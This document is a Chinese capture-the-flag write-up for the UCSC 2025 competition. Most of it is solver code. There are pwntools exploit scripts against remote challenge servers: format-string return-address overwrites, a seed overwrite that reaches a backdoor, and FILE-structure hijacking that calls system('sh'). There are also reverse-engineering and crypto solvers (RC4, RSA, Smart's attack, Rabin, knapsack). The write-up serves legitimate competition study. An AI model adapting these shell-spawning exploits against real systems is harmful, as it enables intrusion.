0100110001010011001101000111010101001100011010010011010001110100010010010100001100110000011101010100110001010011001101000110011101001100011010010100000101110100010011000101001100110000011101010100110001101001010000010111010001001100010100110011000001110100010011000110100101000001011101000100110001101001001101000111010101001100011010010011000001100111010011000110100100110100011101010100110001101001001100000110011101001100010100110011010001110101010010010100001100110000011101010100110001101001001101000111010101001001010000110011000001110101010011000110100100110100011001110100110001010011001101000111010101001100011010010011010001110100010010010100001100110000011101000100110001010011001101000111010101001001010000110011010001110101010011000110100100110000011101000100100101000011001100000111010001001100010100110011000001110100010010010100001100110100011001110100110001010011001101000111010101001100011010010011010001110100
-
不用root函数,使用supersecureuser两次格式化字符串漏洞就可以getshell #!/usr/bin/env python3
from pwn import *
context(arch = "amd64" , os = "linux" , log_level = "debug")
#io = process("./pwwn")
io = remote("39.107.58.236",49151)
'''
io = gdb.debug("./pwwn",""" decompiler connect ida --host 192.168.241.85 --port 3662
b *0x4012B0
c""")
'''
key = b"supersecureuser"
io.sendlineafter(b"Password:",key)
payload = b"%10$p"
io.sendafter(b"thing",payload.ljust(0x20,b"x00"))
io.recvuntil(b"0x")
stack_base = int(io.recvn(12),16)
success(f"stack_base => {hex(stack_base)}")#0x7fffffffdf10
io.sendlineafter(b"Password:",key)
shell = 0x1262
ret_addr = stack_base - 0x78
payload2 = b"%" + str(shell).encode() + b"c%9$hn"
io.sendafter(b"thing",payload2.ljust(0x18,b"x00")+p64(ret_addr))
io.interactive()
-
name覆盖随机数种子为0,依次输入最后执行后门函数
#!/usr/bin/env python3
from pwn import *
context(arch = "amd64" , os = "linux" , log_level = "debug")
io = process("./BoFido")
io = remote("39.107.58.236",44295)
'''
io = gdb.debug("./BoFido",""" decompiler connect ida --host 192.168.241.85 --port 3662
b *0x4013a2
c""")
'''
io.sendafter(b"name:",b"x11"*0x20+b"x00"*5)
rand = process("./rand")
for i in range(10):
rand.recvuntil(b"Now,rand_num is:")
rand_num1 = int(rand.recvuntil(b"x0a")[:-1],10)
rand.recvuntil(b"Now,rand_num is:")
rand_num2 = int(rand.recvuntil(b"x0a")[:-1],10)
rand.recvuntil(b"Now,rand_num is:")
rand_num3 = int(rand.recvuntil(b"x0a")[:-1],10)
success(f"rand_num => {hex(rand_num1)}")
success(f"rand_num => {hex(rand_num2)}")
success(f"rand_num => {hex(rand_num3)}")
io.sendafter(b"numbers:",str(rand_num1).encode()+b" ")
io.send(str(rand_num2).encode()+b" ")
io.send(str(rand_num3).encode()+b" ")
rand.close()
io.interactive()
-
每个函数都没有对idx的下限检查 -
同时Page的低位就是stdout的指针,利用edit函数改掉_IO_2_1_stdout_结构体实现io_leak,得到libc -
最后大改_IO_2_1_stdout_结构体,利用puts走这个链_IO_wfile_overflow -> _IO_wdoallocbuf -> system,其实是设置虚拟表的偏移,第一次尝试用puts触发io链,结构体改的乱七八糟,底子用的是house_of_apple2的,但是几乎是全改
#!/usr/bin/env python3
from pwn import *
context(arch = "amd64" , os = "linux" , log_level = "debug")
io = process("./pwwn")
io = remote("39.107.58.236",40967)
'''
io = gdb.debug("./pwwn",""" decompiler connect ida --host 192.168.241.85 --port 3662
b *0x555555400c8f
c
""")
'''
libc = ELF("./libc.so.6")
def mune(choice):
io.sendlineafter(b":",str(choice).encode())
def add(idx,size):
mune(1)
io.sendlineafter(b":",str(idx).encode())
io.sendlineafter(b"ize",str(size).encode())
def edit(idx,content):
mune(2)
mune(idx)
io.sendlineafter(b":",content)
def show(idx):
mune(3)
mune(idx)
def free(idx):
mune(4)
mune(idx)
add(0x1e,0x10)
edit(-4,p64(0xfbad1887)+p64(0)*3)
libc_base = u64(io.recvuntil(b"x7f")[-6:].ljust(8,b"x00")) - 0x3ed8b0
libc2 = u64(io.recvuntil(b"x7f")[-6:].ljust(8,b"x00")) - 0x3eb780
success(f"libc_base => {hex(libc_base)}")
success(f"libc2 => {hex(libc2)}")
add(-5,0x10)
add(0,0x60)
add(1,0x60)
'''
gdb.attach(io,"""decompiler connect ida --host 192.168.241.85 --port 3662
b *0x555555400bcb
c""")
'''
##########################################################################
#libc_base =
#heap_base =
io_list_all = libc_base + libc.sym["_IO_list_all"]
io_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]
#maybe request the off is num
fake_io_addr = libc_base + libc.sym["_IO_2_1_stdout_"]
wide_date = fake_io_addr + 0xe0
flag = wide_date
func = libc_base + libc.sym["system"]
end = fake_io_addr + 0xe0 + 0x150 + 0x8
fake_io_file = flat({
0: b" sh", #_flag
0x8: p64(0), #io_read_ptr
0x10: p64(1), #io_read_end <----fd
0x18: p64(2), #io_read_base <----bk
0x20: b" sh", #io_write_base <----fd_n
0x28: p64(io_list_all - 0x20), #io_write_ptr <----tar_addr
0x48: 0, #io_save_base
0x88: p64(libc_base+0x3eb000), #lock
0xa0: p64(wide_date), #wide_date
0xa8: p64(fake_io_addr+8),
0xc0: p64(fake_io_addr+0x18),
0xd8: p64(io_wfile_jumps) #vtable
},filler=b"x00",length = 0xe0)
wide_struct = flat({
0: b"xff"*4,
0x8: p64(fake_io_addr+0x20),
0x18: p64(io_wfile_jumps-0x20),
0x68: p64(fake_io_addr+0xe0+0xe8),
0xe0: p64(wide_date+0xe8), #wide_vtable
0x150: p64(func) # <----func
},filler = b"x00",length = 0x158)
##########################################################################
payload = fake_io_file + wide_struct
edit(-4,payload)
#gdb.attach(io,"""decompiler connect ida --host 192.168.241.85 --port 3662""")
io.interactive()
data=b"n=<;:h2<'?8:?'9hl9'h:l>'2>>2>hk=>;:?"
for i in range(len(data)):
print(chr(data[i]^10),end='')
data=[ 0x72, 0x7A, 0x32, 0x48, 0x34, 0x4E, 0x3F, 0x3A, 0x42, 0x33,
0x47, 0x69, 0x75, 0x63, 0x7C, 0x7D, 0x77, 0x62, 0x65, 0x64,
0x7B, 0x6F, 0x62, 0x50, 0x73, 0x2B, 0x68, 0x6C, 0x67, 0x47,
0x69, 0x15, 0x42, 0x75, 0x65, 0x40, 0x76, 0x61, 0x56, 0x41,
0x11, 0x44, 0x7F, 0x19, 0x65, 0x4C, 0x40, 0x48, 0x65, 0x60,
0x01, 0x40, 0x50, 0x01, 0x61, 0x6F, 0x69, 0x57, 0x00]
flag=[0]*100
for i in range(len(data)):
flag[len(data)-i-1]=data[i]^(i+1)
for i in range(len(data)):
print(chr(flag[i]),end='')
# ;mPWV7et2RTxobH5Tn8iqGSdFWc5vYzps1jHuynpvpfmsmxeL9K28H1L1xs
1,0,1,0,1,1,0,1,0,1,1,0,1,0,1,1,0,0,0,1,1,1,1,1,1
int main(){
char data[] = {+5, +5, +5, +1, +1, -5, -5, -5};
char input[100];
int len = strlen(data);
for(int i=0;i<len;i++){
if(data[i] == 5){
input[i] = 1;
}
if(data[i] == -5){
input[i] = 0;
}
if(data[i] == -1){
input[i] = 2;
}
if(data[i] == 1){
input[i] = 3;
}
}
for(int i=0;i<len;i++){
input[i] = (input[i]^3)+32;
}
for(int i=0;i<len;i++){
printf("%x",input[i]);
}
}
import hashlib
hex_string = "2222222020232323"
byte_data = bytes.fromhex(hex_string)
md5_hash = hashlib.md5(byte_data).hexdigest()
print( md5_hash)
import base64
import random
import numpy as np
# 给定的矩阵
matrix = np.array([
[1, 111, 38, 110, 95, 44],
[11, 45, 58, 39, 84, 1],
[116, 19, 113, 60, 91, 118],
[33, 98, 38, 57, 10, 29],
[68, 52, 119, 56, 43, 125],
[32, 32, 7, 26, 41, 41]
])
transposed_matrix = matrix.T
data = transposed_matrix.flatten()
def init_sbox(key):
s_box = list(range(256))
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
return s_box
def decrypt(cipher, box):
res = []
i = j = 0
cipher_bytes = base64.b64decode(cipher)
for s in cipher_bytes:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(s ^ k))
return ''.join(res)
def random_num(seed_num):
random.seed(seed_num)
result = []
for i in range(len(data)):
result.append(chr(int(str(random.random() * 10000)[0:2]) ^ data[i]))
return ''.join(result)
if __name__ == '__main__':
ciphertext = "MjM184anvdA="
key = "XR4"
box = init_sbox(key)
a = decrypt(ciphertext, box)
seed_num = int(a)
result = random_num(seed_num)
print("解密结果:", result)
#c570ee41-8b09-11ef-ac4a-a4b1c1c5a2d2
from Crypto.Util.number import *
from tqdm import *
from sympy import *
import gmpy2
flag1=6624758244437183700228793390575387439910775985543869953485120951825790403986028668723069396276896827302706342862776605008038149721097476152863529945095435498809442643082504012461883786296234960634593997098236558840899107452647003306820097771301898479134315680273315445282673421302058215601162967617943836306076
flag2=204384474875628990804496315735508023717499220909413449050868658084284187670628949761107184746708810539920536825856744947995442111688188562682921193868294477052992835394998910706435735040133361347697720913541458302074252626700854595868437809272878960638744881154520946183933043843588964174947340240510756356766
number1 = 6035830951309638186877554194461701691293718312181839424149825035972373443231514869488117139554688905904333169357086297500189578624512573983935412622898726797379658795547168254487169419193859102095920229216279737921183786260128443133977458414094572688077140538467216150378641116223616640713960883880973572260683
number2 = 20163906788220322201451577848491140709934459544530540491496316478863216041602438391240885798072944983762763612154204258364582429930908603435291338810293235475910630277814171079127000082991765275778402968190793371421104016122994314171387648385459262396767639666659583363742368765758097301899441819527512879933947
a = gmpy2.isqrt(number2 // 325)
for delta in trange(-20, 20):
aa = a + delta
pp = nextprime(13 * aa)
qq = prevprime(25 * aa)
if pp * qq == number2:
a = aa
p = pp
q = qq
break
phi=(p-1)*(q-1)
d1 = pow(number1, -1, phi)
number3 = pow(flag1, d1, p*q)
m1=long_to_bytes(number3).decode()
e = 0xe18e//2
m2=(gmpy2.iroot(pow(flag2,pow(e,-1,phi),p*q),2)[0])
m2=long_to_bytes(m2).decode()
print(m1+m2)
from gmpy2 import *
from Crypto.Util.number import *
from tqdm import *
p = 8186762541745429544201163537921168767557829030115874801599552603320381728161132002130533050721684554609459754424458805702284922582219134865036743485620797
a = 1495420997701481377470828570661032998514190598989197201754979317255564287604311958150666812378959018880028977121896929545639701195491870774156958755735447
b = 5991466901412408757938889677965118882508317970919705053385317474407117921506012065861844241307270755999163280442524251782766457119443496954015171881396147
E = EllipticCurve(GF(p), [a, b])
P=E(6053058761132539206566092359337778642106843252217768817197593657660613775577674830119685211727923302909194735842939382758409841779476679807381619373546323 , 7059796954840479182074296506322819844555365317950589431690683736872390418673951275875742138479119268529134101923865062199776716582160225918885119415223226)
c0 = E(4408587937721811766304285221308758024881057826193901720202053016482471785595442728924925855745045433966244594468163087104593409425316538804577603801023861 , 5036207336371623412617556622231677184152618465739959524167001889273208946091746905245078901669335908442289383798546066844566618503786766455892065155724816)
c1 = E(2656427748146837510897512086140712942840881743356863380855689945832188909581954790770797146584513962618190767634822273749569907212145053676352384889228875 , 4010263650619965046904980178893999473955022015118149348183137418914551275841596653682626506158128955577872592363930977349664669161585732323838763793957500)
c2 = E(1836350123050832793309451054411760401335561429787905037706697802971381859410503854213212757333551949694177845513529651742217132039482986693213175074097638 , 1647556471109115097539227566131273446643532340029032358996281388864842086424490493200350147689138143951529796293632149050896423880108194903604646084656434)
'''
for i in trange(651860,2**20):
point=i*P
if point in [c1,c2,c0]:
print(i)
'''
n=[1008061,651602,943532]
part1=''.join([hex(i)[2:] for i in n])
print(part1)
#f61bd9f152e65ac
from Crypto.Util.number import *
from gmpy2 import *
def SmartAttack(P,Q,p):
E = P.curve()
Eqp = EllipticCurve(Qp(p, 2), [ ZZ(t) + randint(0,p)*p for t in E.a_invariants() ])
P_Qps = Eqp.lift_x(ZZ(P.xy()[0]), all=True)
for P_Qp in P_Qps:
if GF(p)(P_Qp.xy()[1]) == P.xy()[1]:
break
Q_Qps = Eqp.lift_x(ZZ(Q.xy()[0]), all=True)
for Q_Qp in Q_Qps:
if GF(p)(Q_Qp.xy()[1]) == Q.xy()[1]:
break
p_times_P = p*P_Qp
p_times_Q = p*Q_Qp
x_P,y_P = p_times_P.xy()
x_Q,y_Q = p_times_Q.xy()
phi_P = -(x_P/y_P)
phi_Q = -(x_Q/y_Q)
k = phi_Q/phi_P
return ZZ(k)
p = 839252355769732556552066312852886325703283133710701931092148932185749211043
a = 166868889451291853349533652847942310373752202024350091562181659031084638450
b = 168504858955716283284333002385667234985259576554000582655928538041193311381
E = EllipticCurve(GF(p), [a, b])
P = E(547842233959736088159936218561804098153493246314301816190854370687622130932 , 259351987899983557442340376413545600148150183183773375317113786808135411950 )
Q = E(52509027983019069214323702207915994504051708473855890224511139305828303028 , 520507172059483331872189759719244369795616990414416040196069632909579234481 )
part2=SmartAttack(P,Q,p)
print(part2)
from Crypto.Util.number import *
from tqdm import *
from sympy import *
from gmpy2 import *
pro1 = 24819077530766367166035941051823834496451802693325219476153953490742162231345380863781267094224914358021972805811737102184859249919313532073566493054398702269142565372985584818560322911207851760003915310535736092154713396343146403645986926080307669092998175883480679019195392639696872929250699367519967334248
pro2 = 20047847761237831029338089120460407946040166929398007572321747488189673799484690384806832406317298893135216999267808940360773991216254295946086409441877930687132524014042802810607804699235064733393301861594858928571425025486900981252230771735969897010173299098677357738890813870488373321839371734457780977243838253195895485537023584305192701526016
n = 86262122894918669428795269753754618836562727502569381672630582848166228286806362453183099819771689423205156909662196526762880078792845161061353312693752568577607175166060900619163231849790003982326663277243409696279313372337685740601191870965951317590823292785776887874472943335746122798330609540525922467021
c = 74962027356320017542746842438347279031419999636985213695851878703229715143667648659071242394028952959096683055640906478244974899784491598741415530787571499313545501736858104610426804890565497123850685161829628373760791083545457573498600656412030353579510452843445377415943924958414311373173951242344875240776
e = 65536
for k in range(1, 1000):
ek= pow(e, k, n)
tmp = (pro2 + pro1 * ek) % n
g = int(gcd(tmp, n))
if g != 1 and g != n:
p = g
q = n // g
break
def rabin_decrypt(c, p, q):
n = p * q
if gcd(c, n) != 1:
return []
mp = pow(c, (p + 1) // 4, p)
mq = pow(c, (q + 1) // 4, q)
_, yp, yq = gmpy2.gcdext(p, q)
s1 = (yp * p * mq + yq * q * mp) % n
s2 = (-yp * p * mq + yq * q * mp) % n
s3 = (yp * p * mq - yq * q * mp) % n
s4 = (-yp * p * mq - yq * q * mp) % n
return sorted([s1 % n, (-s1) % n, s2 % n, (-s2) % n])
def recursive_rabin_decrypt(c, p, q, depth=3, candidates=None):
if candidates is None:
candidates = set()
if depth <= 0:
return candidates
current_candidates = rabin_decrypt(c, p, q)
for candidate in current_candidates:
if candidate in candidates:
continue
candidates.add(candidate)
recursive_rabin_decrypt(candidate, p, q, depth-1, candidates)
return candidates
possible_ms = recursive_rabin_decrypt(c, p, q,316)
for i in possible_ms:
try:
print(long_to_bytes(i).decode())
except:
continue
b'CRYPTO_ALGORIT'
def backpack_decrypt(S_list, M, group_len):
from itertools import product
def find_combination(S, M):
for combination in product([0, 1], repeat=len(M)):
if sum(bit * m for bit, m in zip(combination, M)) == S:
return combination
return None
bits = []
for S in S_list:
combination = find_combination(S, M)
if combination is None:
raise ValueError()
bits.extend(combination)
flag_bytes = bytearray()
for i in range(0, len(bits), 8):
byte_bits = bits[i:i + 8]
byte = int("".join(map(str, byte_bits)), 2)
flag_bytes.append(byte)
return bytes(flag_bytes)
M = [10294, 12213, 10071, 4359, 1310, 4376, 7622, 14783]
S_list = [13523, 32682, 38977, 44663, 43353, 31372, 17899, 17899, 44663, 16589, 40304, 25521, 31372]
group_len = 8
try:
decrypted = backpack_decrypt(S_list, M, group_len)
print("解密结果:", decrypted.decode("utf-8"))
except ValueError as e:
print(e)
b'HMS_WELL_DONE'
https://ctf-wiki.org/crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener/#_4
n=12678950975657299741597068411912062416064860044947808601914643744013304126427383015124254424611743563255955090464122259688914575568291283903299394351205692500871133501545531213799485768959306533230414644943482624700409916815759318739044018687973338648002804211522804066177661868100534535325735412249218310283015886278908741603922636130844503245613636493548724291249499974830056316859185616981333285839521223525116798814076692406285641401894824500197008400382785635909480872252432262141841000264287637746515381937883995916593910019661095765989048220216569126366442235246863172944976221290743542298269972228809424401801769662633772671719186693662002106484820857644985776465597319874967162438688474387497754296730464820382435506326614774763458148040539834576697984821453737194637363587735136007322668665970918790290243645898372232357604029104607102608143024457458750987754135722840754335947489288417170856530750123427202047782364216979182750690601240732694760124018983553163521760792016209336965606147608247167518675199176420761620913174080744534627902936051142166111466402551997069885468070937050584257171863360067262609635380320608633505446134439804513189525818985532978219967610683751460310798439035011903775497192826013515619261
原文始发于微信公众号(UKFC安全):UKY 2025UCSC WP
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论